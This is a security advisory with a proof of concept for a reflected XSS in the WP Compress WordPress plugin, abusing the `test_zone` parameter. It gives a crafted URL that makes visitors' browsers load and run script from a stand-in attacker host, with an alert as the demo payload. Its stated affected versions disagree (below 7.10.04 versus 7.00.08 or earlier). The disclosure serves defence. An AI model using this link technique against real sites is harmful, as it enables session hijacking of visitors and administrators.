WP Compress < 7.10.04 – Reflected XSS via test_zone | CVE 2026-9066

Description

The plugin does not validate the value of a query parameter that controls the asset CDN host before using it to build the URLs of JavaScript files emitted on the page, leading to Reflected XSS. When a visitor follows a crafted link, the plugin's loader injects script elements pointing to an attacker-controlled origin, which lets the attacker execute arbitrary JavaScript in the visitor's session on the target site.

Proof of Concept

## Prerequisites

1. Install and activate the WP Compress – Image Optimizer plugin (version 7.00.08 or earlier).
2. Activate the plugin's CDN feature with a valid wpcompress.com API key (Settings → WP Compress → Enter access key → enable CDN under Quick Optimizations).
3. Stand up an attacker-controlled host (e.g. a Beeceptor mock) that replies to `GET /` with `Content-Type: text/javascript` and body `alert(document.domain)`.

## Steps

1. As an unauthenticated visitor, navigate any front-end URL of the target with the `test_zone` query string set to the attacker host followed by URL-encoded `#`:

   ```
   https://target.tld/?test_zone=ATTACKER.example.com%23
   ```

2. Observe the rendered HTML. The plugin emits an inline `wpcScriptRegistry` array containing base64-encoded `src` values that have been rewritten to:

   ```
   https://ATTACKER.example.com#.wpmediacompress.com/key:.../m:0/a:https://target.tld/wp-includes/js/...
   ```

   (the `#` truncates the URL to `https://ATTACKER.example.com` for HTTP). The page also contains a `<script type="importmap">` with `@wordpress/interactivity` redirected to the same attacker host.

3. The plugin's loader (`https://optimizerwpc.b-cdn.net/optimize.js`, loaded unconditionally) walks `wpcScriptRegistry` and injects each entry as a real `<script src="...">` element. The browser fetches the rewritten URL — which resolves to the attacker's origin — and executes the response as JavaScript, firing `alert(document.domain)` in the victim's session on `target.tld`.

The chain works on any visitor (unauthenticated or authenticated), making the impact higher when a logged-in administrator follows the crafted link.